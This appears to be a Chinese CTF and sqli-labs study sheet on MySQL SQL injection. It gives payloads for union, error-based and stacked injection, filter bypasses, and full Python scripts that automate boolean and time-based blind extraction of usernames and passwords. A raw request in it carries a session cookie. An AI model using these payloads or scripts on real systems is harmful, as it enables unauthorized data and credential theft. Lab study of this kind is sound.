小知识点
系统函数
version()——MySQL 版本 user()——数据库用户名 database()——数据库名 @@datadir——数据库路径 @@version_compile_os——操作系统版本
字符串连接函数
1.concat(str1,str2,…)——没有分隔符地连接字符串 2.concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串 3.group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据 说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
注入需要用到的函数
Length() //返回字符串的长度 eg:Length(abc) //返回3,表示abc字符串长度为3
Substr() //截取字符串 eg:substr(abc,1,1) //返回a,从abc的第一位开始截,步长为1
mid() //取出字符串的一部分值 eg:mid(abc,1,1) //返回a,从的第一位开取,步长为1,与substr()用法一致
left() //取出字符串左边的几个数据 eg:left(abc,1) //返回a left(abc,2) //返回ab
right() //取出右边的几个数据 eg:right(abc,1) //返回c left(abc,2) //返回bc
ord()与ascii() //返回一个字符的ASCII码值 eg:ascii(s) //返回114
hex() //返回16进制数
一般用于替换的语句
or 1=1–+
‘or 1=1–+
“or 1=1–+
)or 1=1–+
‘)or 1=1–+
“) or 1=1–+
“))or 1=1–+
union 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。但是UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时每条 SELECT 语句中的 列的顺序必须相同。
其他
extractvalue(1,concat(0x7e,(select @@version),0x7e))
--+ mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
--+ mysql 对 xml 数据进行 查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--+ mysql 重复特性,此处重复了 version,所以报错
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x
字符型注入
sqli-labs 第一关
手工注入
- 判断注入点1′ or 1=1 –+正常回显存在注入点
- 获取字段数1 order by 1,2,3 –+一个个尝试,直到报错的前一个为存在字段数
- 联合注入
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询表名
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
查询列名
-1'union select id,username,password from ctfshow_user --+
查询flag
数字型注入
sqli-labs 第二关
手工注入
数字型注入数字后不跟单引号’
- 判断注入点1 or 1=1 –+正常回显存在注入点
- 获取字段数1 order by 1,2,3 –+一个个尝试,直到报错的前一个为存在字段数
- 联合注入
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查询表名
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
查询列名
-1 union select id,username,password from ctfshow_user --+
查询flag
布尔盲注
布尔型盲注是由于页面提交数据在与数据交互是完全没有在页面上出现回显数据,只会出现数据提交正确和错误俩种不同页面(报错型至少语法错误会回显错误在页面上)或者无法使用联合查询。
脚本 GET方式
- 判断注入方式(单引号或双引号)?id=1′ and (length(database()))>1 –+
- 根据页面回显修改payload,根据页面回显改word为’You are in…..’
- 用脚本跑
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list # 返回字符列表
def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
db_payload = url + "' and (length(database())=%d)--+" % num
r = requests.get(db_payload)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + "' and (ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
r = requests.get(db_payload)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
print("开始测试%s数据库有几张表........" % db_name)
for i in range(100): # 猜解库中有多少张表,合理范围即可
tb_payload = url + "' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+" % (
i, db_name)
r = requests.get(tb_payload)
if str in r.text:
tb_piece = i
break
print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # 进行下一步,猜解表名
def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = url + "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+" % (
i, j)
r = requests.get(tb_payload)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = url + "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+" % (
i, k, ord(l))
r = requests.get(tb_payload)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数
def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(30): # 每张表的字段数量,合理范围即可
column_payload = url + "' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+" % (
j, i)
r = requests.get(column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名
def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_name_length = url + "' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+" % (
j - 1, table_list[t], i)
r = requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = url + "' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+" % (
table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据
def dump_data(table_list, column_name_list, db_name):
print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[3], column_name_list[9:12]))
str_list = ascii_str()
for i in column_name_list[9:12]: # id,username,password字段
for j in range(101): # j表示有多少条数据,合理范围即可
data_num_payload = url + "' and (select count(%s) from %s.%s)=%d--+" % (i, db_name, table_list[3], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[3], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1, 21): # l表示每条数据的长度,合理范围即可
data_len_payload = url + "' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+" % (
i, db_name, table_list[3], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload = url + "' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+" % (
i, db_name, table_list[3], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # 输出每条数据
if __name__ == '__main__':
url = "http://192.168.184.103/sqli-labs/Less-5/?id=1" # 目标url
str = "You are in" # 布尔型盲注的true&false的判断因素
db_length(url, str) # 程序入口
手工 POST方式
用burpsuite方式辅助手工注入
只有一个爆破点选择Snipper,两个爆破点选择Cluster bomb
判断数据库长度
admin’ and length(database())=8
# 字符型 其中将8数字设置爆破点
1 and length(database())=8
# 数字型
爆数据库
admin’ and ascii(substr(database(),1
,1))=100
# 字符型 其中将1和100设置爆破点 1为爆数据库名的第一位,数字循环设置为数据库名的长度;100为ASCII码,设置65-122(大写字母A到小写字母z)
爆表
爆表数量
admin’ and (select count(*) from information_schema.tables where table_schema=database())=
4
#4设置为爆破点
爆表名
admin’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),
1
,1))=100
#其中将1和100设置爆破点 1为爆数据库名的第一位,数字循环设置为数据库名的长度;100为ASCII码,设置65-122(大写字母A到小写字母z)
其中爆第一个表为limit 0,1 如果要爆第二个表为limit 1,1
爆字段
爆字段数
admin’ and (select count(*) from information_schema.columns where table_schema=”security” and table_name=”users”)=
3
#3设置为爆破点,爆破字段数量
爆字段名称长度
admin’ and length((select column_name from information_schema.columns where table_name=”users” and table_schema=”security” limit 0,1))=
2
#2设置为爆破点,爆字段长度
爆字段名称
admin’ and ascii(substr((select column_name from information_schema.columns where table_name=”users” and table_schema=”security” limit 0,1),
1
,1))=1
#其中第一个爆破点为字段第几位,第二个爆破点为ASCII码
爆第一个字段为limit 0,1 同理第二个为limit 1,1
爆数量
admin’ and (select count(*) from users)=
13
#13为爆破点
爆字段值长度
admin’ and length((select username from users limit 0,1))=
10
#10为爆破点
爆字段值
admin’ and ascii(substr((select username from users limit 0,1),
1
,1))=68
#其中第一个爆破点为字段值第几位,第二个爆破点为ASCII码
爆出的flag太长,可以复制到excel里,然后排序flag的顺序,然后使用脚本批量转换字符
脚本
def ascii_to_char(ascii_str):
return ''.join(chr(int(ascii)) for ascii in ascii_str.split())
ascii_code = "102 108 97 103 58 100 56 49 98 54 54 51 56 48 52 102 102 56 50 100 51 50 98 100 54 55 99 48 52 54 98 97 49 97 48 52 102 58"
char_str = ascii_to_char(ascii_code)
print(char_str)
时间盲注
首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是“参照物”不同,也就是说基于布尔的盲注,其实是可以通过页面的一些变化来进行判断结果!但是有的时候,执行一些sql语句的测试,页面不会有像布尔盲注的时候比较直观的变化,所以这个时候所谓的基于时间的盲注,也就是在基于布尔的盲注上结合if判断和sleep()函数来得到一个时间上的变换延迟的参照,也就可以让我们进行一些判断。
- 首先判断是否为时间盲注时间盲注无论id后输什么页面都没有变化,通过sleep函数得到时间上的变化来判断正确与否
- 然后判断数字后是单引号还是双引号闭合方式?id=1″ and if(ascii(substr(database(),1,1))>115,1,sleep(3))–+修改1后面的单引号或双引号
- 得到闭合方式后,修改payload,用脚本跑
GET方式
import requests
import time
import string
import sys
headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
length = 1
url = 'http://192.168.184.103/sqli-labs/Less-6/?id=1\"'
for l in range(1, 20):
payload = ' and if(length(database())>{0},1,sleep(3))--+'.format(l)
start_time0 = time.time()
rsp0 = requests.get(url+payload, headers=headers)
if time.time() - start_time0 > 2.5:
print('数据库长度为:' + str(l))
length = l
break
else:
pass
for i in range(1,length + 1):
for char in chars:
charAscii = ord(char)
payload = ' and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'.format(i, charAscii)
start_time = time.time()
rsp = requests.get(url+payload, headers=headers)
if time.time() - start_time > 2.5:
database += char
break
else:
pass
print('数据库名字为:' + database)
table = ''
for i in range(1, 30):
for j in range(32, 127):
payload = ' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(3),1)--+'.format(i, j)
start_time = time.time()
rsp1 = requests.get(url+payload, headers=headers)
if time.time() - start_time > 2.5:
table += chr(j)
break
print('数据库中的表有:' + table)
#
field = ''
for i in range(1, 50):
for j in range(32, 127):
payload = " and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))={},sleep(3),1)--+".format(i, j)
start_time=time.time()
r = requests.get(url+payload)
if time.time() - start_time > 2.5:
field += chr(j)
break
print('表中的字段有:' + field)
flag = ''
for i in range(1, 50):
for j in range(32, 127):
payload = ' and if(ascii(substr((select group_concat(username,\'~\',password) from users),{0},1))={1},sleep(3),1)%23--+'.format(i, j)
start_time=time.time()
r = requests.get(url+payload)
if time.time() - start_time > 2.5:
flag += chr(j)
break
print('表中字段值为:' + flag)
POST方式
用sqlmap
(sqlmap)【sqli-labs8-10】盲注:布尔盲注、时间盲注_sqlmap盲注命令-CSDN博客
踩坑:
POST /check HTTP/1.1
Host: scene-vykunnmfkj799tbz-web-3000.zhigeng.toolmao.com
Sec-Ch-Ua-Platform: "Windows"
Referer: https://scene-vykunnmfkj799tbz-web-3000.zhigeng.toolmao.com/
Cookie: connect.sid=s%3A4SmkQ_acvmz1aCG9ccDmgU5S2L7-gx6G.WQun58WK3z7z4tQutr8Byl8kco7vOilKJsFEU7UowxE
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Origin: https://scene-vykunnmfkj799tbz-web-3000.zhigeng.toolmao.com
Sec-Fetch-Dest: empty
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Fetch-Site: same-origin
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 5
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Mode: cors
id=15
注意这段HTTP/1.1
但原网址是https://scene-vykunnmfkj799tbz-web-3000.zhigeng.toolmao.com/
所以在sqlmap中要强制使用HTTPS --force-ssl
堆叠注入
漏洞成因
- 使用
mysqli_multi_query()
这种支持多语句执行的函数 - 使用PDO的方式进行数据查询,创建PDO实例时
PDO::MYSQL_ATTR_MULTI_STATEMENTS
设置为true
时,可以执行多语句
bypass技巧
以[GYCTF2020]Blacklist为例 preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject)
获取数据库名、表名、列名
show databases;
show tables;
show columns from `table_name`;
修改表名
此时拼接sql语句的代码肯定是固定从一个表里取出某列的数据,这时候我们修改表名,取出数据来
1、将words表名替换成其他的
2、然后将
1919810931114514
这个表名称替换成words3、在把flag这个字段替换成data
4、最后再插入一个id字段
最终的查询结果就可以输出我们构造的新的words了
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
最后用 1′ or 1=1# 把flag打印出来
预编译
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
用16禁止绕过
Handler
在这次比赛中set
,rename
都被过滤,用handler绕过
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
报错注入
extractvalue和updatexml
extractvalue
extractvalue 只要以#或者~开头的内容,不是xml格式的语法,会报错,但是会显示无法识别的内容是什么
mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e))
ERROR 1105 (HY000): XPATH syntax error: ~security~
其中0x7e是~的编码,前后都有是因为判断报错显示的内容是否完整
示例
查询数据库
id=15 and extractvalue(1,concat(0x7e,(select database()),0x7e))
XPATH syntax error: '~tarman_db~'
查询表名
id=15 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="tarman_db"),0x7e))
XPATH syntax error: '~tw_admin,tw_order~'
查询列名
id=15 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="tw_admin"),0x7e))
XPATH syntax error: '~id,email,username,nickname,mobl'
可以看到显示没有全,这时候就用limit函数一个一个爆
id=15 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="tw_admin" limit 0,1),0x7e))
XPATH syntax error: '~id~'
id=15 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="tw_admin" limit 1,1),0x7e))
XPATH syntax error: '~email~'
id=15 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="tw_admin" limit 2,1),0x7e))
XPATH syntax error: '~username~'
id=15 and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="tw_admin" limit 5,1),0x7e))
XPATH syntax error: '~password~'
爆出我们要的字段password
爆flag
id=15 and extractvalue(1,concat(0x7e,(select password from tw_admin),0x7e))
XPATH syntax error: '~flag:3b35751a1e4fe9d94b774e5f37'
可以看到flag也没有显示全,就要用到mid函数
id=15 and extractvalue(1,concat(0x7e,(select mid(password,1,25) from tw_admin),0x7e))
XPATH syntax error: '~flag:3b35751a1e4fe9d94b77~'
id=15 and extractvalue(1,concat(0x7e,(select mid(password,26,50) from tw_admin),0x7e))
XPATH syntax error: '~4e5f373fa2a1:~'
常用函数
concat():用于将多个字符串连接成一个字符串。concat(str1,str2,..)
group_concat():返回一个字符串结果,该结果由分组中的值连接组合而成
limit n,m:第一次参数n表示的游标的偏移量,初始值为0,第二个参数m表示想要获取多少条数据
limit 0,1:从第一条记录开始,只取一条
mid(x,n,m):从一个字符串中截取出指定数量的字符
mid(abcd,1,2) 截取ab